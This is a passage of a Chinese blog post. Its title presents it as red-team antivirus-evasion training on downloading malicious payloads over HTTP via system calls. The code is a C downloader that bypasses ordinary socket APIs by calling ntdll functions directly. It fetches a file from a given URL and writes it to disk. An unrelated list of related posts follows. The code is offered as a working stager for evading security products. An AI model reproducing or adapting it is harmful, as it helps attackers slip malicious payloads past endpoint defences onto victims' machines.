NULL){// errorprintf("Error: Failed to allocate memory\n");NTSockets_CloseSocket(&SocketData);free(pOutputBuffer);return 1;}// update ptrpOutputBuffer = pNewOutputBuffer;}}//存储当前字节*(BYTE*)(pOutputBuffer + dwOutputLength) = bCurrByte;dwOutputLength++;}}//关闭套接字NTSockets_CloseSocket(&SocketData);// store data*pOutput = pOutputBuffer;*pdwOutputLength = dwOutputLength;return 0;
}int main(int argc, char* argv[])
{BYTE* pOutput = NULL;DWORD dwLength = 0;char* pURL = NULL;char* pOutputPath = NULL;HANDLE hOutputFile = NULL;DWORD dwBytesWritten = 0;if (argc != 3){printf("Usage: %s [url] [output_file_path]\n\n", argv[0]);return 1;}// get parampURL = argv[1];pOutputPath = argv[2];// 获取 NtDeviceIoControlFile 函数 ptrNtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDeviceIoControlFile");if (NtDeviceIoControlFile == NULL){return 1;}// 获取 NtCreateFile 函数 ptrNtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateFile");if (NtCreateFile == NULL){return 1;}printf("Downloading file: %s\n\n", pURL);// 下载文件if (DownloadFile(pURL, &pOutput, &dwLength) != 0){printf("Failed to download file\n");return 1;}printf("Downloaded %u bytes successfully\n\n", dwLength);printf("Creating output file: %s\n", pOutputPath);// 创建输出文件hOutputFile = CreateFile(pOutputPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);if (hOutputFile == INVALID_HANDLE_VALUE){printf("Failed to create output file\n");return 1;}// 将输出数据写入文件if (WriteFile(hOutputFile, pOutput, dwLength, &dwBytesWritten, NULL) == 0){printf("Failed to write output data to file\n");return 1;}CloseHandle(hOutputFile);if (dwLength != 0){free(pOutput);}printf("\nFinished\n");return 0;
}

其实这里就当于调用最更低沉的api重新实现了一下socket,处理的细节很多,效果挺好的。

更多好玩的红队工具,技巧,请关注公众号Gamma实验室

红队免杀培训第二章-使用系统调用http 协议下载恶意载荷相关推荐

  1. 红队免杀培训第一章-不可执行的shellcode

    临近全国hw,后面会陆续推出红队免杀培训文章,希望能到诸君能在赛场上乱免,不会把现成的加载器放出来,但是例子改一下就是一个好的加载器,强调一遍,免杀并不是一种技术的一支独秀,而是百花齐放! 前言: ​ ...

  2. 模拟对抗之红队免杀开发实践

    在模拟对抗过程中,"初始访问"阶段的一个关键挑战,就是绕过企业端点上的检测和响应能力 (EDR).由于商业的c2框架向红队队员提供的是不可修改的shellcode和二进制文件,所以 ...

  3. Solaris培训第二章:OpenBoot PROM(转)

    Solaris培训第二章:OpenBoot PROM(转) OpenBoot PROM介绍 所有Sun机器都一个用于基本硬件测试和初始化的固件,还有一个提供多种重要功能的用户程序. 基本元素 Sun系 ...

  4. 红队使用的那些工具(基础篇)附下载

    更多黑客技能 公众号:暗网黑客 修复百度云链接,新增shiro反序列化检测工具(在网盘链接里) 链接: https://pan.baidu.com/s/1nhtFw9mJ0cQ_g_dAxZe45g ...

  5. TCP/IP第二章笔记链路层协议

    二.链路层 2.1 引言 链路层由三个目的: 主要为IP模块发送和接受IP数据包: 为ARP模块发送请求和接受ARP应答: 为RARP发送RARP请求和接收RARP应答: TCP/IP协议支持不同的链 ...

  6. 红队大杀器 Behinder_v4.0(冰蝎4.0)

    Behinder_v4.0 GitHub : https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.0 修复 1.修复了在zimb ...

  7. 计算机网络协议第二章,链路层协议

    以太网协议 协议介绍 以太网通常是指数字设备公司.英特尔和施乐联合发布的一个标准.它采用一种CSMA/CD的媒体接入技术,速率10Mb/s,地址48比特. RFC 894 (A Standard fo ...

  8. 红队培训班作业 | 五种免杀bypass火绒360姿势横向测评:哪款更适合你?

    文章来源|MS08067 红队培训班第12节课作业 本文作者:某学员A(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 一.远程线程注入 (一)通过MSF生成payload 通过msfven ...

  9. Notes Twenty-third days-渗透攻击-红队-红队自研

    ** Notes Twenty-third days-渗透攻击-红队-权限提升(dayu) ** 作者:大余 时间:2020-10-9 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环 ...

  10. Notes twenty-sixth days-渗透攻击-红队-红队案例

    ** Notes twenty-sixth days-渗透攻击-红队-工具优化分享(dayu) ** 作者:大余 时间:2020-10-10 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭 ...

最新文章

  1. 李子柒爆红:既然做直播能年薪过亿, 为何还要努力高考?
  2. Loudrunner常用函数
  3. zynq网络时钟控制寄存器_ZYNQ笔记(6):普通自定义IP封装实现PL精准定时中断...
  4. [渝粤教育] 西南科技大学 复习资料 法理学
  5. UC上云 为网络大型游戏保驾护航
  6. 《Python编程从入门到实践》记录之range、min、max、sum函数
  7. 【随机过程】马尔可夫链(2)
  8. Javascript如何深拷贝对象
  9. Magisk Magisk Manager 下载
  10. 嵌入式软件开发的特点和流程
  11. BZOJ1579: [Usaco2009 Feb]Revamping Trails 道路升级
  12. C语言求2/1,-3/2,5/3,-8/5...前十项之和
  13. python是高级语言还是低级语言_python学习之高级语言和低级语言
  14. Win10 重装系统 (iso方式)(超详细)
  15. linux dpm机制分析
  16. 不吹不黑,三年赶超阿里云,华为这次是认真的!
  17. 常用计算机控制芯片有哪些,电脑基本芯片的认识的常用知识介绍
  18. MacBook 查询电池健康情况、电池损耗、当前电量的方法
  19. Soul(灵魂)匹配脚本、autojs、按键精灵~
  20. 汇编语言基础之七- 框架指针的省略(FPO)

热门文章

  1. BP反向传播算法推导
  2. 尼枚罗指数matlab,洛伦兹系统李雅普诺夫指数的MATLAB源代码
  3. ArcGIS拓扑功能的应用:将点的数据落入面内
  4. 中国手机摄像头产业链
  5. 中国全国行政代码、邮政编码、区号、名称、简称、经纬度 数据库
  6. 什么是网络操作系统?网络操作系统具有那些基本功能?
  7. 25年面试官首次揭秘——世界500强面试题
  8. dll注入之SetWindowsHookEx 键盘消息钩子
  9. FLV转MPG和转成其它格式的转码方法
  10. 金士顿u盘写保护修复教程